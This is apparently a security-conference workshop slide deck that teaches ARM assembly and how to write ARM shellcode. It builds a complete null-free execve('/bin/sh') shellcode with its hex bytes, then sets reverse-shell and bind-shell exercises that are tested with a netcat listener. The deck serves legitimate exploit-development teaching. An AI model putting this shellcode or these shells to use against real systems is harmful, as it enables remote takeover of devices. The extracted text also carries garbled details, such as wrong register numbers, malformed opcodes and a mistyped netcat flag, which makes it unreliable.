Learning Objectives

- ARM assembly basics
  - Registers
  - Most common instructions
  - ARM vs. Thumb
  - Load and Store
  - Literal Pool
  - PC-relative Addressing
  - Branches

- Writing ARM Shellcode
  - System functions
  - Mapping out parameters
  - Translating to Assembly
  - De-Nullification
  - Execve() shell
  - Reverse Shell
  - Bind Shell
OUTLINE – 120 MINUTES

• ARM assembly basics
  • 15 – 20 minutes
• Shellcoding steps: execve
  • 10 minutes
• Getting ready for practical part
  • 5 minutes

• Reverse Shell
  • 3 functions
  • For each:
    • 10 minutes exercise
    • 5 minutes solution
• Buffer[10]
• Bind Shell
  • 3 functions
  • 25 minutes exercise
Anything that could be connected, will be connected…

- Right-size processing for new markets
- Delivering more performance with less power
- Delivering the time and innovation advantage

Farming, Energy Grid, Home Automation, Identity & Tracking, Logistics & Shipping, Building Management, Connected Car, Social & Local, Healthcare

ARM CORTEX Processor Technology + ARM mbed

The Architecture for the Digital World® ARM
It's getting interesting...

Apple planning to replace Intel CPUs in Macs with custom ARM processors by 2020

The Cupertino giant is in the early stages of planning the third major architecture shift of Mac systems.

By James Sanders | April 3, 2018, 5:33 AM PST
Benefits of Learning ARM Assembly

• Reverse Engineering binaries on...
  • Phones?
  • Routers?
  • Cars?
  • Internet of Things?
  • MACBOOKS??
  • SERVERS??

• Intel x86 is nice but..
  • Knowing ARM assembly allows you to dig into and have fun with various different device types
Benefits of Writing ARM Shellcode

• Writing your own assembly helps you to understand assembly
  • How functions work
  • How function parameters are handled
  • How to translate functions to assembly for any purpose

• Learn it once and know how to write your own variations
  • For exploit development and vulnerability research

• You can brag that you can write your own shellcode instead of having to rely on exploit-db or tools
ARM Assembly Basics

15 – 20 minutes
ARM CPU FEATURES

• RISC (Reduced Instruction Set Computing) processor
  • Simplified instruction set
  • More registers than in CISC (Complex Instruction Set Computing)
• Load/Store architecture
  • No direct operations on memory
• 32-bit ARM mode / 16-bit Thumb mode
• Conditional Execution on almost all instructions (ARM mode only)
• Inline Barrel Shifter
• Word aligned memory access (4 byte aligned)
## ARM Architecture and Cores

<table>
<thead>
<tr>
<th>Arch</th>
<th>W</th>
<th>Processor Family</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARMv6</td>
<td>32</td>
<td>ARM11</td>
</tr>
<tr>
<td>ARMv6-M</td>
<td>32</td>
<td>ARM Cortex-M0, ARM Cortex-M0+, ARM Cortex-M1, SecurCore SC000</td>
</tr>
<tr>
<td>ARMv7-M</td>
<td>32</td>
<td>ARM Cortex-M3, SecurCore SC300</td>
</tr>
<tr>
<td>ARMv7E-M</td>
<td>32</td>
<td>ARM Cortex-M4, ARM Cortex-M7</td>
</tr>
<tr>
<td>ARMv7-R</td>
<td>32</td>
<td>ARM Cortex-R4, ARM Cortex-R5, ARM Cortex-R7, ARM Cortex-R8, ARM Cortex-A5, ARM Cortex-A7, ARM Cortex-A8, ARM Cortex-A9, ARM Cortex-A12, ARM Cortex-A15, ARM Cortex-A17</td>
</tr>
<tr>
<td>ARMv7-A</td>
<td>32</td>
<td>ARM Cortex-A32</td>
</tr>
<tr>
<td>ARMv8-A</td>
<td>32</td>
<td>ARM Cortex-A35, ARM Cortex-A53, ARM Cortex-A57, ARM Cortex-A72</td>
</tr>
</tbody>
</table>
# ARM Architecture and Cores

<table>
<thead>
<tr>
<th>Arch</th>
<th>W</th>
<th>Processor Family</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARMv6</td>
<td>32</td>
<td>ARM11</td>
</tr>
<tr>
<td>ARMv6-M</td>
<td>32</td>
<td>ARM Cortex-M0, ARM Cortex-M0+, ARM Cortex-M1, SecurCore SC000</td>
</tr>
<tr>
<td>ARMv7-M</td>
<td>32</td>
<td>ARM Cortex-M3, SecurCore SC300</td>
</tr>
<tr>
<td>ARMv7E-M</td>
<td>32</td>
<td>ARM Cortex-M4, ARM Cortex-M7</td>
</tr>
<tr>
<td>ARMv7-R</td>
<td>32</td>
<td>ARM Cortex-R4, ARM Cortex-R5, ARM Cortex-R7, ARM Cortex-R8, ARM Cortex-A5, ARM Cortex-A7, ARM Cortex-A8, ARM Cortex-A9, ARM Cortex-A12, ARM Cortex-A15, ARM Cortex-A17, ARM Cortex-A32</td>
</tr>
<tr>
<td>ARMv8-A</td>
<td>32</td>
<td>ARM Cortex-A32</td>
</tr>
<tr>
<td>ARMv8-A</td>
<td>64</td>
<td>ARM Cortex-A35, ARM Cortex-A53, ARM Cortex-A57, ARM Cortex-A72</td>
</tr>
</tbody>
</table>
# ARM CPU Registers

<table>
<thead>
<tr>
<th>Register</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0 - R6</td>
<td>General Purpose</td>
<td></td>
</tr>
<tr>
<td>R7</td>
<td>Syscall number</td>
<td></td>
</tr>
<tr>
<td>R8 - R10</td>
<td>General Purpose</td>
<td></td>
</tr>
<tr>
<td>R11</td>
<td>Frame Pointer</td>
<td>FP</td>
</tr>
<tr>
<td>R12</td>
<td>Intra Proced.</td>
<td>IP</td>
</tr>
<tr>
<td>R13</td>
<td>Stack Pointer</td>
<td>SP</td>
</tr>
<tr>
<td>R15</td>
<td>Link Register</td>
<td>LR</td>
</tr>
<tr>
<td>R15</td>
<td>Program Counter</td>
<td>PC</td>
</tr>
</tbody>
</table>
## ARM CPU Registers

<table>
<thead>
<tr>
<th>Register</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0 - R6</td>
<td>General Purpose</td>
</tr>
<tr>
<td>R7</td>
<td>Syscall number</td>
</tr>
<tr>
<td>R8 - R10</td>
<td>General Purpose</td>
</tr>
<tr>
<td>R11</td>
<td>Frame Pointer</td>
</tr>
<tr>
<td>R12</td>
<td>Intra Proced.</td>
</tr>
<tr>
<td>R13</td>
<td>Stack Pointer</td>
</tr>
<tr>
<td>R15</td>
<td>Link Register</td>
</tr>
<tr>
<td>R15</td>
<td>Program Counter</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
# Most Common Instructions

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Example</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>MOV</td>
<td>mov r1, #3</td>
<td>r1 = 3</td>
</tr>
<tr>
<td>ADD</td>
<td>add r1, r0, r0</td>
<td>r3 = 1 + 1</td>
</tr>
<tr>
<td>SUB</td>
<td>sub r1, r0, r0</td>
<td>r3 = 1 - 1</td>
</tr>
<tr>
<td>MUL</td>
<td>mul r1, r0, r0</td>
<td>r3 = 1 * 1</td>
</tr>
<tr>
<td>LSL</td>
<td>lsl r1, r0, #2</td>
<td>r3 = 1 &lt;&lt; 2 = 4</td>
</tr>
<tr>
<td>LSR</td>
<td>lsr r1, r0, #2</td>
<td>r3 = 1 &gt;&gt; 2 = 0</td>
</tr>
<tr>
<td>ASR</td>
<td>asr r1, r0, #2</td>
<td>r3 = 1 asr 2 =3</td>
</tr>
<tr>
<td>ROR</td>
<td>ror r1, r0, #2</td>
<td>r3 = 0x40000000</td>
</tr>
<tr>
<td>AND</td>
<td>and r2, r1, r0</td>
<td>r3 = 1 and 2 =0</td>
</tr>
<tr>
<td>ORR</td>
<td>orr r2, r1, r0</td>
<td>r2 = 1 orr 2 =3</td>
</tr>
<tr>
<td>EOR</td>
<td>eor r2, r1, r0</td>
<td>r3 = 1 xor 2 =3</td>
</tr>
</tbody>
</table>
Thumb Instructions

• ARM core has two execution states: ARM and Thumb
  • Switch state with BX instruction
• Thumb is a 16-bit instruction set
  • Other versions: Thumb-2 (16 and 32-bit), ThumbEE
  • For us: useful to get rid of NULL bytes in our shellcode
• Most Thumb instructions are executed unconditionally 😞
## Conditional Execution

### CPSR / APSR

Current Program Status Register / Application Program Status Register

<table>
<thead>
<tr>
<th>Condition Code</th>
<th>Meaning</th>
<th>Flags Tested</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQ</td>
<td>Equal (==)</td>
<td>Z == 1</td>
</tr>
<tr>
<td>NE</td>
<td>Not Equal (!=)</td>
<td>Z == 0</td>
</tr>
<tr>
<td>GT</td>
<td>Signed &gt;</td>
<td>(Z==0) &amp; (N==V)</td>
</tr>
<tr>
<td>LT</td>
<td>Signed &lt;</td>
<td>N != V</td>
</tr>
<tr>
<td>GE</td>
<td>Signed &gt;=</td>
<td>N == V</td>
</tr>
<tr>
<td>LE</td>
<td>Signed &lt;=</td>
<td>(Z==1)</td>
</tr>
</tbody>
</table>

### Cmp/Test Instructions

- CMP (compare),
- CMNN (compare negative),
- TEQ (test equivalence),
- TST (test bits)

### Other instructions, like

- MOV (move, update flags)
- ADDS (add, update flag)
- SUBS (subtract, update flag)

### Example: CMP & LT

```
mov r0, #2
mov r1, #4
sub r0, r1
```

### Example: CMP & EQ

```
mov r0, #2
mov r1, #4
sub r0, r1
```

### Flags Test

- **N** (Negative)
- **Z** (Zero)
- **C** (Carry)
- **V** (Overflow)

### Example:

- **NZCVQ**
  - **N**: 1
  - **Z**: 0
  - **C**: 0
  - **V**: 0

- **J**
  - Set if negative flag is set

- **GE**
  - Set if greater or equal

- **E,A,I,F,T,M**
  - Set based on specific conditions
Load / Store Instructions

- ARM is a Load / Store Architecture
  - Does not support memory to memory data processing operations
  - Must move data values into register before using them

- This isn’t as inefficient as it sounds:
  - Load data values from memory into registers
  - Process data in registers using a number of data processing instructions
    - which are not slowed down by memory access
  - Store results from registers out of memory

- Three sets of instructions which interact with main memory:
  - Single register data transfer (LDR/STR)
  - Block data transfer (LDM/STM)
  - Single Data Swap (SWP)
Load / Store Instructions

- **Load and Store Word or Byte**
  - LDR / STR / LDRB / STRB
  - Can be executed conditionally 😊

**Syntax:**
- `<LDR|STR>{<cond}>{<size>} Rd, <address>`

**Diagram:**

```
value at [address] found in R2
is loaded into register R1
```

```
LDR   R1, [R2]
STR   R1, [R2]
```

```
value found in R1
is stored to [address] found in R2
```
Replace X with null-byte

<table>
<thead>
<tr>
<th>Assembly</th>
<th>Disassembly</th>
<th>Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>.ascii &quot;/bin/shX&quot;</code></td>
<td><code>.word 0x6e69622f</code></td>
<td><code>[...]</code> 0x00000000</td>
</tr>
<tr>
<td></td>
<td><code>.word 0x5868732f</code></td>
<td><code>[...]</code> 0x1009c</td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/bin</code> 0x6e69622f 0x1009c</td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>/shX</code> 0x5868732f 0x100a0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><code>[...]</code> 0xFFFFFFFF</td>
</tr>
</tbody>
</table>
REPLACE X WITH NULL-BYTE

Goal:

/bin/shX → /bin/sh\0

Instruction:

STRB R2, [R0, #7]

store byte from R2
  to [address] found in R0 + offset 7
**Store Byte (STRB)**

**Goal:**

`/bin/shX` → `/bin/sh\0`

**Instruction:**

```
STRB  R2, [R0, #7]
```

*store byte from R2 to [address] found in R0 + offset 7*

**How it works:**

<table>
<thead>
<tr>
<th>R0</th>
<th>0x0001009c</th>
</tr>
</thead>
<tbody>
<tr>
<td>R2</td>
<td>0x00000000</td>
</tr>
</tbody>
</table>

0x58 → 0x00

Memory

1 byte view

```
[...]
0x00000000
[...]
0x1009c
```

```
/ 0x2f 0x1009d
b 0x62 0x1009e
i 0x69 0x1009f
n 0x66 0x100a0
/ 0x2f 0x100a1
s 0x73 0x100a2
h 0x68 0x100a3
X 0x58 0xFFFFFFF
[...]
```
Load Immediate Values...

```
.section .text
.global _start
_start:
  mov    r0, #511
  bkpt
```

azeria@labs:~$ as test.s -o test.o

test.s: Assembler messages:

test.s:5: Error: invalid constant (1ff) after fixup

*https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py*
Load Immediate Values

MOV R0, #12

MOV instruction with an immediate operand

<table>
<thead>
<tr>
<th>31</th>
<th>28</th>
<th>25</th>
<th>20</th>
<th>16</th>
<th>12</th>
<th>8</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>cond</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>opcode</td>
<td>S</td>
<td>Rn</td>
<td>Rd</td>
</tr>
</tbody>
</table>

8 bit immediate

2 x 4-bit = 8-bit rotation field

x2

Shifter ROR
LOAD IMMEDIATE VALUES

MOV instruction with an immediate operand

31 28 25 20 16 12 8 0
cond 0 0 1 opcode S Rn Rd rotate_imm 8 bit immediate

0 - 30
511 = 1111 1111

Bit-pattern can’t fit into one byte
MOV instruction with an immediate operand

#384?

6 ror 26 = 384
LOAD IMMEDIATE VALUES

MOV instruction with an immediate operand

#370?

0 - 30

185 \text{ ror} 31 = 370

r > 30

185 = 1011 1001

Shifter ROR

8 bit immediate

cond 0 0 1 opcode S Rn Rd rotate_imm
Solution: LDR or Split

Option 1:
Split values into two valid imm values

MOV R0, #256  // 1 ror 24 = 256
ADD R0, #255  // 255 ror 0 = 255

Option 2:
Put value into Literal Pool with LDR

LDR R1, =511
LITERAL POOL

Assembly:
LDR R1, =511
...
.word 0x000001ff

Disassembly:
LDR R1, [PC, #16]
...

Memory
4 byte view

PC

effective PC

offset: #16

#511 0x000001ff
...

HITBSecConf2018 - Amsterdam
PC-relative Addressing

Assembly:

```
adr r1, struct
adr r0, shellcode
eor r1, r1
eor r2, r2
[...]
```

Disassembly:

```
00000000 <_start>:
  0: e28f1008 add r1, pc, #8
  4: e28f000c add r0, pc, #12
  8: e0211001 eor r1, r1, r1
  c: e0222002 eor r2, r2, r2

00000010 <struct>:
  10: 5c11aa02 .word 0x5c11aa02
  14: 828ba8c0 .word 0x828ba8c0

00000018 <shellcode>:
  18: 6e69622f .word 0x6e69622f
  1c: 5868732f .word 0x5868732f
```
BRANCHES

Branch (B)

Syntax

\[\text{b[cond] label}\]
\[\text{b label}\]

Branch & Exchange (BX)

Syntax

\[\text{bx[cond] label}\]
\[\text{bx label}\]

loop:

\[\text{cmp r0, #4}\]
\[\text{beq end}\]
\[\text{add r0, r0, #1}\]
\[\text{b loop}\]

bx lr

add r2, pc, #1
bx r2
add r1, r1

Thumb
BRANCHES

BRANCH & LINK (BL)

**SYNTAX**

```
bl[cond] label
bl label
```

```
0x10054:  mov r0, #2
0x10058:  mov r1, #4
0x1005c:  bl func1
0x10060:  mov r2, #3
```

```
0x10064:  add r0, r1
0x10068:  bx lr
```

```
LR = 0x10060
```

BRANCH & LINK & EXCHANGE (B)

**SYNTAX**

```
blx[cond] Rn
blx Rn
blx label
```

```
0x10054:  mov r2, #2
0x10058:  mov r1, #4
0x1005c:  blx func1
0x10060:  mov r2, #3
```

```
0x10065:  add r0, r1
0x10067:  bx lr
```

```
LR = 0x10060
```

**Thumb**
THUMB MODE

ARM Mode = 4 bytes

01 30 8F E2
13 FF 2F E1
02 20
01 21

2 bytes
Thumb Mode

switch to Thumb

add r3, pc, #1
bx r3
movs r0, #2
movs r1, #1
How to Shellcode

1. Step 1: Figure out the system call that is being invoked
2. Step 2: Figure out the number of that system call
3. Step 3: Map out parameters of the function
4. Step 4: Translate to assembly
5. Step 5: Dump disassembly to check for null bytes
6. Step 6: Get rid of null bytes → de-nullifying shellcode
7. Step 7: Convert shellcode to hex
We want to translate the following code into ARM assembly:

```c
#include <stdio.h>

void main(void)
{
    system("/bin/sh");
}
```

We can use the `strace` tool to analyze the system calls made by the program:

```
azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args

azeria@labs:~$ strace -f -v system
```

Here is the output from `strace`:

```
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/", "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) =
```

The `strace` output shows the system calls made by the program, including the system call `system` which is used to execute a command line argument. The output also includes environment variables, process IDs, and other details about the program's execution.
Step 2: Figure out Syscall number

azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
Step 3: Mapping out parameters

• execve(*filename, *argv[], *envp[])

• Simplification
  • argv = NULL
  • envp = NULL

• Simply put:
  • execve(*filename, 0, 0)
Step 3: Mapping Out Parameters

- system("/bin/sh")
  - execv("/bin/sh", argv, envp)
  - syscall 11

- r0 --> "/bin/sh"
- r1 = 0 (NULL)
- r2 = 0 (NULL)
- r7 = 11 (syscall no.)
- svc #0
STRUCTURE OF AN ASSEMBLY PROGRAM

.section .text
.global _start

_start:
  .code 32
  <instruction>
  <instruction>

  .code 16
  <thumb instruction>

  .ascii "some string"
**Step 4: Translate to Assembly**

```
.section .text
.global _start

_start:
  adr    r0, binsh
  mov    r1, #0
  mov    r2, #0
  mov    r7, #11
  svc    #0

+12   binsh:
  .ascii "/bin/sh\0"
```
Step 5: Check for Null Bytes

pi@raspberrypi:~$ as execve.s -o execve.o & & ld -N execve.o -o execve
pi@raspberrypi:~$ objdump -d ./execve

./execve: file format elf32-littlearm

Disassembly of section .text:

00010054 <_start>:
  10054:   e28f0000c   add   r0, pc, #12
  10058:   e3a01000   mov   r1, #0
  1005c:   e3a02000   mov   r2, #0
  10060:   e3a0700b   mov   r7, #11
  10064:   ef000000   svc   0x00000000

00010068 <binsh>:
  10068:   6e69622f   .word   0xe69622f
  1006c:   0068732f   .word   0x0068732f
Step 6: De-Nullify

execve("/bin/sh", argv, envp);

execve("/bin/sh", 0, 0);

syscall no. 11

<table>
<thead>
<tr>
<th>R0</th>
<th>R1</th>
<th>R2</th>
<th>R7</th>
</tr>
</thead>
<tbody>
<tr>
<td>-&gt;</td>
<td>= 0</td>
<td>= 0</td>
<td>11</td>
</tr>
</tbody>
</table>

SVC #1

addr  r0, binsh
sub   r1, r1
sub   r2, r2
strb  r2, [r0, #7]
mov   r7, #11
svc   #1

binsh:
.ascii "/bin/shX"

r0 + 1 ... + 7 ←
pi@raspberrypi:~/asm $ objdump -d execve_final

execve_final: file format elf32-little

Disassembly of section .text:

00010054 <_start>:
  10054: e28f3001 add r3, pc, #1
  10058: e12fff13 bx r3
  1005c: a002 add r0, pc, #8
  1005e: 1a49 subs r1, r1, r1
  10060: 1c0a adds r2, r1, #0
  10062: 71c2 strb r2, [r0, #7]
  10064: 270b movs r7, #11
  10066: df01 svc 1

00010068 <binsh>:
  10068: 6e69622f .word 0x6e69622f
  1006c: 5868732f .word 0x5868732f
Step 7: Hexify

pi@raspberrypi:~$ objcopy -O binary execve_final execve_final.bin
pi@raspberrypi:~$ hexdump -v -e """"x 1/1 "%02x" """ execve_final.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\xc2\x71\x0b\x27\x01
\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58
PRACTICAL PART

Reverse & bind shell
1 STARTING UP ARM ENVIRONMENT

1. Click on the “Emulate Raspbian” icon & wait

2. Switch to another Workspace

3. Click the “SSH into Raspbian” icon.

HITBSecConf2018 - Amsterdam
Prepare...

• Get ZIP with templates and slides
  From your PI:
  $ wget https://azeria-labs.com/downloads/HITB-1.zip

• Solutions:
  From your PI:
Reverse Shell

1. Create Socket
   ```c
   sockid = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   ```

2. Initialize connection
   ```c
   connect(sockid, (struct sockaddr *) &serv_addr, 16);
   ```

3. STDIN, STDOUT, STDERR
   ```c
   dup2(sockid, 0);
   dup2(sockid, 1);
   dup2(sockid, 2);
   ```

4. Spawn shell
   ```c
   execve("/bin/sh", 0, 0);
   ```
Func(1, 2, 3);

syscall no. 4

R0 = 1
R1 = 2
R2 = 3
R7 = 4

SVC #1

Registers

Instruction
Instruction
Instruction
Instruction

Assembly
Create Socket

socket(PF_INET, SOCK_STREAM, 0);

socket(2, 1, 0);

syscall no. 281

R0 = 2
R1 = 1
R2 = 0
R7 = 281

SVC #1
CONNECT

connect(sockid, sockaddr *addr, addrlen);
connect(r0, &sockaddr, 16);
syscall no. 283

R0 = sockid
R1 = &sockaddr
R2 = 16
R7 = 283
SVC #1
STDIN, STDOUT, STDERR

dup2(sockid, STDIN)
dup2(sockid, STDOUT)
dup2(sockid, STDERR)

dup2(R0 ← R4, 0)
dup2(R0 ← R4, 1)
dup2(R0 ← R4, 2)

syscall no. 63

R4 = sockid
R0 = R4
R1 = 0/1/2
R7 = 63
SVC #1
SPAWNING SHELL

```c
execve("/bin/sh", argv, envp);
execve("/bin/sh", 0, 0);
```

- **syscall no. 11**

- **R0 -> /bin/sh**
  - R1 = 0
  - R2 = 0
  - R7 = 11
  - SVC #1
Spawning shell

execve("/bin/sh", argv, envp);

execve("/bin/sh", 0, 0);

syscall no. 11

R0 -> /bin/sh
R1 = 0
R2 = 0
R7 = 11
SVC #1

adr  r0, binsh
sub  r1, r1
sub  r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1

binsh: .ascii "/bin/shX"
      r0 + 1 ...+7
Testing your shellcode

pi@raspberrypi:~$ as reverse.s -o reverse.o && ld -N reverse.o -o reverse
pi@raspberrypi:~$ ./reverse

user@ubuntu:~$ nc -1vvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.72.129] port 4444 [tcp/*] accepted (family 2, sport 45326)
BIND SHELL

Attacker IP: 10.1.2.2

Connects to target on listening port

Target IP: 10.0.2.15
Listener Port: 4444
SYSCALL NUMBERS

```bash
pi@raspberrypi:~$ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep <...
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_bind (__NR_SYSCALL_BASE+282)
#define __NR_listen (__NR_SYSCALL_BASE+284)
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_dup2  (__NR_SYSCALL_BASE+ 63)
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
```
BIND SOCKET TO LOCAL PORT

```
bind(host_sockid, struct sockaddr *addr, socklen_t addrlen);
```

```
bind(r0, &sockaddr, 16);
```

syscall no. 282

<table>
<thead>
<tr>
<th>R0</th>
<th>host_sockid</th>
</tr>
</thead>
<tbody>
<tr>
<td>R1</td>
<td>*struct_addr</td>
</tr>
<tr>
<td>R2</td>
<td>16</td>
</tr>
<tr>
<td>R7</td>
<td>282</td>
</tr>
<tr>
<td></td>
<td>SVC #1</td>
</tr>
</tbody>
</table>
Listen for incoming connections

listen(host_sockid, 2);

listen(r0 <- r4, 2);

syscall no. 284

R0 = host_sockid
R1 = 2
R7 = 284
SVC #1
ACCEPT INCOMING CONNECTIONS

```c
accept(host_sockid, NULL, NULL);

client_sockid = accept(r0<-r4, 0, 0);

syscall no. 285
```

<table>
<thead>
<tr>
<th>R0</th>
<th>host_sockid</th>
</tr>
</thead>
<tbody>
<tr>
<td>R1</td>
<td>0</td>
</tr>
<tr>
<td>R2</td>
<td>0</td>
</tr>
<tr>
<td>R7</td>
<td>285</td>
</tr>
<tr>
<td>SVC</td>
<td>#1</td>
</tr>
</tbody>
</table>
Test your bind shell

Terminal 1:
pi@raspberrypi:~$ strace -e execve,socket,bind,listen,accept,dup2 ./bind

Terminal 2:
pi@raspberrypi:~ $ netstat -tlpn
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
The end.

More resources at https://azeria-labs.com
Twitter: @Fox0x01